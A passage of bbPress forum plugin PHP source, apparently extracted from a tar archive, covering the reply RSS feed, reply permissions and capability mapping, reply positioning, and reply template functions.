			<?php if ( bbp_user_can_view_forum( array( 'forum_id' => bbp_get_topic_forum_id() ) ) ) : ?>
				<?php if ( bbp_show_lead_topic() ) : ?>

					<item>
						<guid><?php bbp_topic_permalink(); ?></guid>
						<title><![CDATA[<?php bbp_topic_title(); ?>]]></title>
						<link><?php bbp_topic_permalink(); ?></link>
						<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate>
						<dc:creator><?php the_author(); ?></dc:creator>

						<description>
							<![CDATA[
							<p><?php printf( __( 'Replies: %s', 'bbpress' ), bbp_get_topic_reply_count() ); ?></p>
							<?php bbp_topic_content(); ?>
							]]>
						</description>

						<?php rss_enclosure(); ?>

						<?php do_action( 'bbp_feed_item' ); ?>

					</item>

				<?php endif; ?>
			<?php endif; ?>
		<?php endif; ?>

		<?php if ( bbp_has_replies( $replies_query ) ) : ?>
			<?php while ( bbp_replies() ) : bbp_the_reply(); ?>

				<item>
					<guid><?php bbp_reply_url(); ?></guid>
					<title><![CDATA[<?php bbp_reply_title(); ?>]]></title>
					<link><?php bbp_reply_url(); ?></link>
					<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate>
					<dc:creator><?php the_author() ?></dc:creator>

					<description>
						<![CDATA[
						<?php bbp_reply_content(); ?>
						]]>
					</description>

					<?php rss_enclosure(); ?>

					<?php do_action( 'bbp_feed_item' ); ?>

				</item>

			<?php endwhile; ?>
		<?php endif; ?>

		<?php do_action( 'bbp_feed_footer' ); ?>

	</channel>
	</rss>

<?php

	// We're done here
	exit();
}

/** Permissions ***************************************************************/

/**
 * Redirect if unauthorized user is attempting to edit a reply
 *
 * @since 2.1.0 bbPress (r3605)
 */
function bbp_check_reply_edit() {

	// Bail if not editing a topic
	if ( ! bbp_is_reply_edit() ) {
		return;
	}

	// User cannot edit topic, so redirect back to reply
	if ( ! current_user_can( 'edit_reply', bbp_get_reply_id() ) ) {
		bbp_redirect( bbp_get_reply_url() );
	}
}

/** Reply Position ************************************************************/

/**
 * Update the position of the reply.
 *
 * The reply position is stored in the menu_order column of the posts table.
 * This is done to prevent using a meta_query to retrieve posts in the proper
 * freshness order. By updating the menu_order accordingly, we're able to
 * leverage core WordPress query ordering much more effectively.
 *
 * @since 2.1.0 bbPress (r3933)
 *
 * @param int $reply_id
 * @param int $reply_position
 *
 * @return mixed
 */
function bbp_update_reply_position( $reply_id = 0, $reply_position = false ) {

	// Bail if reply_id is empty
	$reply_id = bbp_get_reply_id( $reply_id );
	if ( empty( $reply_id ) ) {
		return false;
	}

	// Prepare the reply position
	$reply_position = is_numeric( $reply_position )
		? (int) $reply_position
		: bbp_get_reply_position_raw( $reply_id, bbp_get_reply_topic_id( $reply_id ) );

	// Get the current reply position
	$current_position = get_post_field( 'menu_order', $reply_id );

	// Bail if no change
	if ( $reply_position === $current_position ) {
		return false;
	}

	// Filters not removed
	$removed = false;

	// Toggle revisions off as we are not altering content
	if ( has_filter( 'clean_post_cache', 'bbp_clean_post_cache' ) ) {
		$removed = true;
		remove_filter( 'clean_post_cache', 'bbp_clean_post_cache', 10, 2 );
	}

	// Update the replies' 'menu_order' with the reply position
	$bbp_db = bbp_db();
	$bbp_db->update( $bbp_db->posts, array( 'menu_order' => $reply_position ), array( 'ID' => $reply_id ) );
	clean_post_cache( $reply_id );

	// Toggle revisions back on
	if ( true === $removed ) {
		$removed = false;
		add_filter( 'clean_post_cache', 'bbp_clean_post_cache', 10, 2 );
	}

	return (int) $reply_position;
}

/**
 * Get the position of a reply by querying the DB directly for the replies
 * of a given topic.
 *
 * @since 2.1.0 bbPress (r3933)
 *
 * @param int $reply_id
 * @param int $topic_id
 */
function bbp_get_reply_position_raw( $reply_id = 0, $topic_id = 0 ) {

	// Get required data
	$reply_position = 0;
	$reply_id       = bbp_get_reply_id( $reply_id );
	$topic_id       = ! empty( $topic_id )
		? bbp_get_topic_id( $topic_id )
		: bbp_get_reply_topic_id( $reply_id );

	// If reply is actually the first post in a topic, return 0
	if ( $reply_id !== $topic_id ) {

		// Make sure the topic has replies before running another query
		$reply_count = bbp_get_topic_reply_count( $topic_id, false );
		if ( ! empty( $reply_count ) ) {

			// Get reply id's
			$topic_replies = bbp_get_all_child_ids( $topic_id, bbp_get_reply_post_type() );
			if ( ! empty( $topic_replies ) ) {

				// Reverse replies array and search for current reply position
				$topic_replies  = array_reverse( $topic_replies );
				$reply_position = array_search( (string) $reply_id, $topic_replies );

				// Bump the position to compensate for the lead topic post
				$reply_position++;
			}
		}
	}

	return (int) $reply_position;
}

/** Hierarchical Replies ******************************************************/

/**
 * Are replies threaded?
 *
 * @since 2.4.0 bbPress (r4944)
 * @since 2.6.0 bbPress (r6245) Always false on user profile reply pages
 *
 * @param bool $default Optional. Default value true
 *
 * @return bool Are replies threaded?
 */
function bbp_thread_replies() {
	$depth = bbp_thread_replies_depth();
	$allow = bbp_allow_threaded_replies();

	// Never thread replies on user profile pages. It looks weird, and we know
	// it is undesirable for the majority of installations.
	if ( bbp_is_single_user_replies() ) {
		$retval = false;
	} else {
		$retval = (bool) ( ( $depth >= 2 ) && ( true === $allow ) );
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_thread_replies', $retval, $depth, $allow );
}

/**
 * List threaded replies
 *
 * @since 2.4.0 bbPress (r4944)
 */
function bbp_list_replies( $args = array() ) {

	// Get bbPress
	$bbp = bbpress();

	// Reset the reply depth
	$bbp->reply_query->reply_depth = 0;

	// In reply loop
	$bbp->reply_query->in_the_loop = true;

	// Parse arguments
	$r = bbp_parse_args( $args, array(
		'walker'       => new BBP_Walker_Reply(),
		'max_depth'    => bbp_thread_replies_depth(),
		'style'        => 'ul',
		'callback'     => null,
		'end_callback' => null,
		'page'         => 1,
		'per_page'     => -1
	), 'list_replies' );

	// Get replies to loop through in $_replies
	echo '<ul>' . $r['walker']->paged_walk( $bbp->reply_query->posts, $r['max_depth'], $r['page'], $r['per_page'], $r ) . '</ul>';

	$bbp->max_num_pages            = $r['walker']->max_pages;
	$bbp->reply_query->in_the_loop = false;
}

/**
 * Validate a `reply_to` field for hierarchical replies
 *
 * Checks for 2 scenarios:
 * -- The reply to ID is actually a reply
 * -- The reply to ID does not match the current reply
 *
 * @see https://bbpress.trac.wordpress.org/ticket/2588
 * @see https://bbpress.trac.wordpress.org/ticket/2586
 *
 * @since 2.5.4 bbPress (r5377)
 *
 * @param int $reply_to
 * @param int $reply_id
 *
 * @return int $reply_to
 */
function bbp_validate_reply_to( $reply_to = 0, $reply_id = 0 ) {

	// The parent reply must actually be a reply
	if ( ! bbp_is_reply( $reply_to ) ) {
		$reply_to = 0;
	}

	// The parent reply cannot be itself
	if ( $reply_id === $reply_to ) {
		$reply_to = 0;
	}

	return (int) $reply_to;
}
includes/replies/capabilities.php000066600000013156151771460310013176 0ustar00<?php

/**
 * bbPress Reply Capabilites
 *
 * Used to map reply capabilities to WordPress's existing capabilities.
 *
 * @package bbPress
 * @subpackage Capabilities
 */

/**
 * Return reply capabilities
 *
 * @since 2.0.0 bbPress (r2593)
 *
 * @return array Reply capabilities
 */
function bbp_get_reply_caps() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_reply_caps', array(
		'edit_posts'          => 'edit_replies',
		'edit_others_posts'   => 'edit_others_replies',
		'publish_posts'       => 'publish_replies',
		'read_private_posts'  => 'read_private_replies',
		'delete_posts'        => 'delete_replies',
		'delete_others_posts' => 'delete_others_replies'
	) );
}

/**
 * Maps topic capabilities
 *
 * @since 2.2.0 bbPress (r4242)
 *
 * @param array  $caps    Capabilities for meta capability.
 * @param string $cap     Capability name.
 * @param int    $user_id User id.
 * @param array  $args    Arguments.
 *
 * @return array Actual capabilities for meta capability
 */
function bbp_map_reply_meta_caps( $caps = array(), $cap = '', $user_id = 0, $args = array() ) {

	// What capability is being checked?
	switch ( $cap ) {

		/** Reading ***********************************************************/

		case 'read_reply' :

			// User cannot spectate
			if ( ! user_can( $user_id, 'spectate' ) ) {
				$caps = array( 'do_not_allow' );

			// Do some post ID based logic
			} else {

				// Bail if no post ID
				if ( empty( $args[0] ) ) {
					break;
				}

				// Get the post.
				$_post = get_post( $args[0] );
				if ( ! empty( $_post ) ) {

					// Get post type object
					$post_type = get_post_type_object( $_post->post_type );

					// Post is public
					if ( bbp_get_public_status_id() === $_post->post_status ) {
						$caps = array( 'spectate' );

					// User is author so allow read
					} elseif ( (int) $user_id === (int) $_post->post_author ) {
						$caps = array( 'spectate' );

					// Moderators can always edit forum content
					} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
						$caps = array( 'spectate' );

					// Unknown so map to private posts
					} else {
						$caps = array( $post_type->cap->read_private_posts );
					}
				}
			}

			break;

		/** Publishing ********************************************************/

		case 'publish_replies' :

			// Moderators can always publish
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		/** Editing ***********************************************************/

		// Used primarily in wp-admin
		case 'edit_replies'        :
		case 'edit_others_replies' :

			// Moderators can always edit
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );

			// Otherwise, check forum
			} else {
				$forum_id = bbp_get_forum_id();

				// Moderators can always edit forum content
				if ( user_can( $user_id, 'moderate', $forum_id ) ) {
					$caps = array( 'spectate' );

				// Fallback to do_not_allow
				} else {
					$caps = array( 'do_not_allow' );
				}
			}

			break;

		// Used everywhere
		case 'edit_reply' :

			// Bail if no post ID
			if ( empty( $args[0] ) ) {
				break;
			}

			// Get the post.
			$_post = get_post( $args[0] );
			if ( ! empty( $_post ) ) {

				// Get post type object
				$post_type = get_post_type_object( $_post->post_type );

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// Moderators can always edit forum content
				} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
					$caps = array( 'spectate' );

				// Allow author or mod to edit if not in admin, unless past edit lock time
				} elseif ( ! is_admin() && ( (int) $user_id === (int) $_post->post_author ) ) {

					// If editing...
					if ( bbp_is_reply_edit() ) {

						// Only allow if not past the edit-lock period
						$caps = ! bbp_past_edit_lock( $_post->post_date_gmt )
							? array( $post_type->cap->edit_posts )
							: array( 'do_not_allow' );

					// Otherwise...
					} else {
						$caps = array( $post_type->cap->edit_posts );
					}

				// Fallback to edit_others_posts.
				} else {
					$caps = array( $post_type->cap->edit_others_posts );
				}
			}

			break;

		/** Deleting **********************************************************/

		case 'delete_reply' :

			// Bail if no post ID
			if ( empty( $args[0] ) ) {
				break;
			}

			// Get the post
			$_post = get_post( $args[0] );
			if ( ! empty( $_post ) ) {

				// Get post type object
				$post_type = get_post_type_object( $_post->post_type );

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// Moderators can always edit forum content
				} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
					$caps = array( 'spectate' );

				// User is author so allow delete if not in admin
				} elseif ( ! is_admin() && ( (int) $user_id === (int) $_post->post_author ) ) {
					$caps = array( $post_type->cap->delete_posts );

				// Unknown so map to delete_others_posts
				} else {
					$caps = array( $post_type->cap->delete_others_posts );
				}
			}

			break;

		// Moderation override
		case 'delete_replies'        :
		case 'delete_others_replies' :

			// Moderators can always delete
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		/** Admin *************************************************************/

		case 'bbp_replies_admin' :
			$caps = array( 'edit_replies' );
			break;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_map_reply_meta_caps', $caps, $cap, $user_id, $args );
}
includes/replies/template.php000066600000236453151771460310012367 0ustar00<?php

/**
 * bbPress Reply Template Tags
 *
 * @package bbPress
 * @subpackage TemplateTags
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Post Type *****************************************************************/

/**
 * Return the unique id of the custom post type for replies
 *
 * @since 2.0.0 bbPress (r2857)
 *
 */
function bbp_reply_post_type() {
	echo bbp_get_reply_post_type();
}
	/**
	 * Return the unique id of the custom post type for replies
	 *
	 * @since 2.0.0 bbPress (r2857)
	 *
	 *                        post type id
	 * @return string The unique reply post type id
	 */
	function bbp_get_reply_post_type() {

		// Filter & return
		return apply_filters( 'bbp_get_reply_post_type', bbpress()->reply_post_type );
	}

/**
 * Return array of labels used by the reply post type
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_reply_post_type_labels() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_reply_post_type_labels', array(
		'name'                     => esc_attr__( 'Replies',                    'bbpress' ),
		'menu_name'                => esc_attr__( 'Replies',                    'bbpress' ),
		'singular_name'            => esc_attr_x( 'Reply', 'noun',              'bbpress' ),
		'all_items'                => esc_attr__( 'All Replies',                'bbpress' ),
		'add_new'                  => esc_attr__( 'Add New',                    'bbpress' ),
		'add_new_item'             => esc_attr__( 'Create New Reply',           'bbpress' ),
		'edit'                     => esc_attr__( 'Edit',                       'bbpress' ),
		'edit_item'                => esc_attr__( 'Edit Reply',                 'bbpress' ),
		'new_item'                 => esc_attr__( 'New Reply',                  'bbpress' ),
		'view'                     => esc_attr__( 'View Reply',                 'bbpress' ),
		'view_item'                => esc_attr__( 'View Reply',                 'bbpress' ),
		'view_items'               => esc_attr__( 'View Replies',               'bbpress' ),
		'search_items'             => esc_attr__( 'Search Replies',             'bbpress' ),
		'not_found'                => esc_attr__( 'No replies found',           'bbpress' ),
		'not_found_in_trash'       => esc_attr__( 'No replies found in Trash',  'bbpress' ),
		'filter_items_list'        => esc_attr__( 'Filter replies list',        'bbpress' ),
		'items_list'               => esc_attr__( 'Replies list',               'bbpress' ),
		'items_list_navigation'    => esc_attr__( 'Replies list navigation',    'bbpress' ),
		'parent_item_colon'        => esc_attr__( 'Parent Topic:',              'bbpress' ),
		'archives'                 => esc_attr__( 'Forum Replies',              'bbpress' ),
		'attributes'               => esc_attr__( 'Reply Attributes',           'bbpress' ),
		'insert_into_item'         => esc_attr__( 'Insert into reply',          'bbpress' ),
		'uploaded_to_this_item'    => esc_attr__( 'Uploaded to this reply',     'bbpress' ),
		'featured_image'           => esc_attr__( 'Reply Image',                'bbpress' ),
		'set_featured_image'       => esc_attr__( 'Set reply image',            'bbpress' ),
		'remove_featured_image'    => esc_attr__( 'Remove reply image',         'bbpress' ),
		'use_featured_image'       => esc_attr__( 'Use as reply image',         'bbpress' ),
		'item_published'           => esc_attr__( 'Reply published.',           'bbpress' ),
		'item_published_privately' => esc_attr__( 'Reply published privately.', 'bbpress' ),
		'item_reverted_to_draft'   => esc_attr__( 'Reply reverted to draft.',   'bbpress' ),
		'item_scheduled'           => esc_attr__( 'Reply scheduled.',           'bbpress' ),
		'item_updated'             => esc_attr__( 'Reply updated.',             'bbpress' )
	) );
}

/**
 * Return array of reply post type rewrite settings
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_reply_post_type_rewrite() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_reply_post_type_rewrite', array(
		'slug'       => bbp_get_reply_slug(),
		'with_front' => false
	) );
}

/**
 * Return array of features the reply post type supports
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_reply_post_type_supports() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_reply_post_type_supports', array(
		'title',
		'editor',
		'revisions'
	) );
}

/** Reply Loop Functions ******************************************************/

/**
 * The main reply loop. WordPress makes this easy for us
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @param array $args All the arguments supported by {@link WP_Query}
 * @return object Multidimensional array of reply information
 */
function bbp_has_replies( $args = array() ) {

	/** Defaults **************************************************************/

	// Other defaults
	$default_reply_search   = bbp_sanitize_search_request( 'rs' );
	$default_post_parent    = ( bbp_is_single_topic() ) ? bbp_get_topic_id() : 'any';
	$default_post_type      = ( bbp_is_single_topic() && bbp_show_lead_topic() ) ? bbp_get_reply_post_type() : array( bbp_get_topic_post_type(), bbp_get_reply_post_type() );
	$default_thread_replies = (bool) ( bbp_is_single_topic() && bbp_thread_replies() );

	// Default query args
	$default = array(
		'post_type'              => $default_post_type,         // Only replies
		'post_parent'            => $default_post_parent,       // Of this topic
		'posts_per_page'         => bbp_get_replies_per_page(), // This many
		'paged'                  => bbp_get_paged(),            // On this page
		'orderby'                => 'date',                     // Sorted by date
		'order'                  => 'ASC',                      // Oldest to newest
		'hierarchical'           => $default_thread_replies,    // Hierarchical replies
		'ignore_sticky_posts'    => true,                       // Stickies not supported
		'update_post_term_cache' => false,                      // No terms to cache

		// Conditionally prime the cache for all related posts
		'update_post_family_cache' => true
	);

	// Only add 's' arg if searching for replies
	// See https://bbpress.trac.wordpress.org/ticket/2607
	if ( ! empty( $default_reply_search ) ) {
		$default['s'] = $default_reply_search;
	}

	// What are the default allowed statuses (based on user caps)
	if ( bbp_get_view_all( 'edit_others_replies' ) ) {

		// Default view=all statuses
		$post_statuses = array_keys( bbp_get_topic_statuses() );

		// Add support for private status
		if ( current_user_can( 'read_private_replies' ) ) {
			$post_statuses[] = bbp_get_private_status_id();
		}

		// Join post statuses together
		$default['post_status'] = $post_statuses;

	// Lean on the 'perm' query var value of 'readable' to provide statuses
	} else {
		$default['perm'] = 'readable';
	}

	/** Setup *****************************************************************/

	// Parse arguments against default values
	$r = bbp_parse_args( $args, $default, 'has_replies' );

	// Set posts_per_page value if replies are threaded
	$replies_per_page = (int) $r['posts_per_page'];
	if ( true === $r['hierarchical'] ) {
		$r['posts_per_page'] = -1;
	}

	// Get bbPress
	$bbp = bbpress();

	// Call the query
	$bbp->reply_query = new WP_Query( $r );

	// Maybe prime the post author caches
	if ( ! empty( $r['update_post_family_cache'] ) ) {
		bbp_update_post_family_caches( $bbp->reply_query->posts );
	}

	// Add pagination values to query object
	$bbp->reply_query->posts_per_page = (int) $replies_per_page;
	$bbp->reply_query->paged          = (int) $r['paged'];

	// Never home, regardless of what parse_query says
	$bbp->reply_query->is_home        = false;

	// Reset is_single if single topic
	if ( bbp_is_single_topic() ) {
		$bbp->reply_query->is_single = true;
	}

	// Only add reply to if query returned results
	if ( ! empty( $bbp->reply_query->found_posts ) ) {

		// Get reply to for each reply
		foreach ( $bbp->reply_query->posts as &$post ) {

			// Check for reply post type
			if ( bbp_get_reply_post_type() === $post->post_type ) {
				$reply_to = bbp_get_reply_to( $post->ID );

				// Make sure it's a reply to a reply
				if ( empty( $reply_to ) || ( bbp_get_reply_topic_id( $post->ID ) === $reply_to ) ) {
					$reply_to = 0;
				}

				// Add reply_to to the post object so we can walk it later
				$post->reply_to = $reply_to;
			}
		}
	}

	// Only add pagination if query returned results
	if ( ! empty( $bbp->reply_query->found_posts ) && ! empty( $bbp->reply_query->posts_per_page ) ) {

		// Figure out total pages
		if ( true === $r['hierarchical'] ) {
			$walker      = new BBP_Walker_Reply();
			$total_pages = ceil( $walker->get_number_of_root_elements( $bbp->reply_query->posts ) / $bbp->reply_query->posts_per_page );
		} else {

			// Total for pagination boundaries
			$total_pages = ( $bbp->reply_query->posts_per_page === $bbp->reply_query->found_posts )
				? 1
				: ceil( $bbp->reply_query->found_posts / $bbp->reply_query->posts_per_page );

			// Pagination settings with filter
			$bbp_replies_pagination = apply_filters( 'bbp_replies_pagination', array(
				'base'    => bbp_get_replies_pagination_base( bbp_get_topic_id() ),
				'total'   => $total_pages,
				'current' => $bbp->reply_query->paged
			) );

			// Add pagination to query object
			$bbp->reply_query->pagination_links = bbp_paginate_links( $bbp_replies_pagination );
		}
	}

	// Filter & return
	return apply_filters( 'bbp_has_replies', $bbp->reply_query->have_posts(), $bbp->reply_query );
}

/**
 * Whether there are more replies available in the loop
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @return object Replies information
 */
function bbp_replies() {

	// Put into variable to check against next
	$have_posts = bbpress()->reply_query->have_posts();

	// Reset the post data when finished
	if ( empty( $have_posts ) ) {
		wp_reset_postdata();
	}

	return $have_posts;
}

/**
 * Loads up the current reply in the loop
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @return object Reply information
 */
function bbp_the_reply() {
	return bbpress()->reply_query->the_post();
}

/**
 * Output reply id
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @param $reply_id Optional. Used to check emptiness
 */
function bbp_reply_id( $reply_id = 0 ) {
	echo bbp_get_reply_id( $reply_id );
}
	/**
	 * Return the id of the reply in a replies loop
	 *
	 * @since 2.0.0 bbPress (r2553)
	 *
	 * @param $reply_id Optional. Used to check emptiness
	 * @return int The reply id
	 */
	function bbp_get_reply_id( $reply_id = 0 ) {
		$bbp      = bbpress();
		$wp_query = bbp_get_wp_query();

		// Easy empty checking
		if ( ! empty( $reply_id ) && is_numeric( $reply_id ) ) {
			$bbp_reply_id = $reply_id;

		// Currently inside a replies loop
		} elseif ( ! empty( $bbp->reply_query->in_the_loop ) && isset( $bbp->reply_query->post->ID ) ) {
			$bbp_reply_id = $bbp->reply_query->post->ID;

		// Currently inside a search loop
		} elseif ( ! empty( $bbp->search_query->in_the_loop ) && isset( $bbp->search_query->post->ID ) && bbp_is_reply( $bbp->search_query->post->ID ) ) {
			$bbp_reply_id = $bbp->search_query->post->ID;

		// Currently viewing a forum
		} elseif ( ( bbp_is_single_reply() || bbp_is_reply_edit() ) && ! empty( $bbp->current_reply_id ) ) {
			$bbp_reply_id = $bbp->current_reply_id;

		// Currently viewing a reply
		} elseif ( ( bbp_is_single_reply() || bbp_is_reply_edit() ) && isset( $wp_query->post->ID ) ) {
			$bbp_reply_id = $wp_query->post->ID;

		// Fallback
		} else {
			$bbp_reply_id = 0;
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_reply_id', $bbp_reply_id, $reply_id );
	}

/**
 * Gets a reply
 *
 * @since 2.0.0 bbPress (r2787)
 *
 * @param int|object $reply reply id or reply object
 * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N. Default = OBJECT
 * @param string $filter Optional Sanitation filter. See {@link sanitize_post()}
 * @return mixed Null if error or reply (in specified form) if success
 */
function bbp_get_reply( $reply, $output = OBJECT, $filter = 'raw' ) {

	// Maybe get ID from empty or int
	if ( empty( $reply ) || is_numeric( $reply ) ) {
		$reply = bbp_get_reply_id( $reply );
	}

	// Bail if no post object
	$reply = get_post( $reply, OBJECT, $filter );
	if ( empty( $reply ) ) {
		return $reply;
	}

	// Bail if not correct post type
	if ( $reply->post_type !== bbp_get_reply_post_type() ) {
		return null;
	}

	// Default return value is OBJECT
	$retval = $reply;

	// Array A
	if ( $output === ARRAY_A ) {
		$retval = get_object_vars( $reply );

	// Array N
	} elseif ( $output === ARRAY_N ) {
		$retval = array_values( get_object_vars( $reply ) );
	}

	// Filter & return
	return apply_filters( 'bbp_get_reply', $retval, $reply, $output, $filter );
}

/**
 * Output the link to the reply in the reply loop
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_permalink( $reply_id = 0 ) {
	echo esc_url( bbp_get_reply_permalink( $reply_id ) );
}
	/**
	 * Return the link to the reply
	 *
	 * @since 2.0.0 bbPress (r2553)
	 *
	 * @param int $reply_id Optional. Reply id
	 *                        and reply id
	 * @return string Permanent link to reply
	 */
	function bbp_get_reply_permalink( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_reply_permalink', get_permalink( $reply_id ), $reply_id );
	}

/**
 * Output the paginated url to the reply in the reply loop
 *
 * @since 2.0.0 bbPress (r2679)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_url( $reply_id = 0 ) {
	echo esc_url( bbp_get_reply_url( $reply_id ) );
}
	/**
	 * Return the paginated url to the reply in the reply loop
	 *
	 * @since 2.0.0 bbPress (r2679)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @param string $redirect_to Optional. Pass a redirect value for use with
	 *                              shortcodes and other fun things.
	 * @return string Link to reply relative to paginated topic
	 */
	function bbp_get_reply_url( $reply_id = 0, $redirect_to = '' ) {

		// Set needed variables
		$reply_id = bbp_get_reply_id( $reply_id );
		$topic_id = 0;

		// Juggle reply & topic IDs for unpretty URL formatting
		if ( bbp_is_reply( $reply_id ) ) {
			$topic_id = bbp_get_reply_topic_id( $reply_id );
			$topic    = bbp_get_topic( $topic_id );
		} elseif ( bbp_is_topic( $reply_id ) ) {
			$topic_id = bbp_get_topic_id( $reply_id );
			$topic    = bbp_get_topic( $topic_id );
			$reply_id = $topic_id;
		}

		// Hierarchical reply page
		if ( bbp_thread_replies() ) {
			$reply_page = 1;

		// Standard reply page
		} else {
			$reply_page = ceil( (int) bbp_get_reply_position( $reply_id, $topic_id ) / (int) bbp_get_replies_per_page() );
		}

		// Get links & URLS
		$reply_hash = '#post-' . $reply_id;
		$topic_link = bbp_get_topic_permalink( $topic_id, $redirect_to );
		$topic_url  = remove_query_arg( 'view', $topic_link );

		// Get vars needed to support pending topics with unpretty links
		$has_slug   = ! empty( $topic ) ? $topic->post_name : '';
		$pretty     = bbp_use_pretty_urls();
		$published  = ! bbp_is_topic_pending( $topic_id );

		// Don't include pagination if on first page
		if ( 1 >= $reply_page ) {

			// Pretty permalinks
			if ( ! empty( $has_slug ) && ! empty( $pretty ) && ! empty( $published ) ) {
				$url = user_trailingslashit( $topic_url ) . $reply_hash;

			// Unpretty links
			} else {
				$url = $topic_url . $reply_hash;
			}

		// Include pagination
		} else {

			// Pretty permalinks
			if ( ! empty( $has_slug ) && ! empty( $pretty ) && ! empty( $published ) ) {
				$url = trailingslashit( $topic_url ) . trailingslashit( bbp_get_paged_slug() ) . $reply_page;
				$url = user_trailingslashit( $url ) . $reply_hash;

			// Unpretty links
			} else {
				$url = add_query_arg( 'paged', $reply_page, $topic_url ) . $reply_hash;
			}
		}

		// Add topic view query arg back to end if it is set
		if ( bbp_get_view_all() ) {
			$url = bbp_add_view_all( $url );
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_url', $url, $reply_id, $redirect_to );
	}

/**
 * Output the title of the reply
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @param int $reply_id Optional. Reply id
 */
function bbp_reply_title( $reply_id = 0 ) {
	echo bbp_get_reply_title( $reply_id );
}

	/**
	 * Return the title of the reply
	 *
	 * @since 2.0.0 bbPress (r2553)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @return string Title of reply
	 */
	function bbp_get_reply_title( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );
		$title    = get_the_title( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_reply_title', $title, $reply_id );
	}

	/**
	 * Get empty reply title fallback.
	 *
	 * @since 2.5.0 bbPress (r5177)
	 *
	 * @param string $post_title Required. Reply Title
	 * @param int $post_id Required. Reply ID
	 * @return string Title of reply
	 */
	function bbp_get_reply_title_fallback( $post_title = '', $post_id = 0 ) {

		// Bail if title not empty, or post is not a reply
		if ( ! empty( $post_title ) || ! bbp_is_reply( $post_id ) ) {
			return $post_title;
		}

		// Get reply topic title.
		$topic_title = bbp_get_reply_topic_title( $post_id );

		// Get empty reply title fallback.
		$reply_title = sprintf( esc_html__( 'Reply To: %s', 'bbpress' ), $topic_title );

		// Filter & return
		return apply_filters( 'bbp_get_reply_title_fallback', $reply_title, $post_id, $topic_title );
	}

/**
 * Output the content of the reply
 *
 * @since 2.0.0 bbPress (r2553)
 *
 * @param int $reply_id Optional. reply id
 */
function bbp_reply_content( $reply_id = 0 ) {
	echo bbp_get_reply_content( $reply_id );
}
	/**
	 * Return the content of the reply
	 *
	 * @since 2.0.0 bbPress (r2780)
	 *
	 * @param int $reply_id Optional. reply id
	 * @return string Content of the reply
	 */
	function bbp_get_reply_content( $reply_id = 0 ) {
		$reply_id = bbp_get_reply_id( $reply_id );

		// Check if password is required
		if ( post_password_required( $reply_id ) ) {
			return get_the_password_form();
		}

		$content = get_post_field( 'post_content', $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_reply_content', $content, $reply_id );
	}

/**
 * Output the excerpt of the reply
 *
 * @since 2.0.0 bbPress (r2751)
 *
 * @param int $reply_id Optional. Reply id
 * @param int $length Optional. Length of the excerpt. Defaults to 100 letters
 */
function bbp_reply_excerpt( $reply_id = 0, $length = 100 ) {
	echo bbp_get_reply_excerpt( $reply_id, $length );
}
	/**
	 * Return the excerpt of the reply
	 *
	 * @since 2.0.0 bbPress (r2751)
	 *
	 * @param int $reply_id Optional. Reply id
	 * @param int $length Optional. Length of the excerpt. Defaults to 100
	 *                     letters
	 * @return string Reply Excerpt
	 */
	function bbp_get_reply_excerpt( $reply_id = 0, $length = 100 ) {
		$reply_id = bbp_get_reply_id( $reply_id );
		$length   = (int) $length;
		$excerpt  = get_post_field( 'post_excerpt', $reply_id );

		if ( empty( $excerpt ) ) {
			$excerpt = bbp_get_reply_content( $reply_id );
		}

		$excerpt = trim ( strip_tags( $excerpt ) );

		// Multibyte support
		if ( function_exists( 'mb_strlen' ) ) {
			$excerpt_length = mb_strlen( $excerpt );
		} else {
			$excerpt_length = strlen( $excerpt );
		}

		if ( ! empty( $length ) && ( $excerpt_length > $length ) ) {
			$excerpt  = mb_substr( $excerpt, 0, $length - 1 );
			$excerpt .= '&hellip;';
		}

		// Filter & return
		return apply_filters( 'bbp_get_reply_excerpt', $excerpt, $reply_id, $length );
	}

/**
 * Output the post date and time of a reply
 *
 * @since 2.2.0 bbPress (r4155)
 *
 * @param int $reply_id Optional. Reply id.
 * @param bool $humanize Optional. Humanize output using time_since
 * @param bool $gmt Optional. Use GMT
 */
function bbp_reply_post_date( $reply_id = 0, $humanize = false, $gmt = false ) {
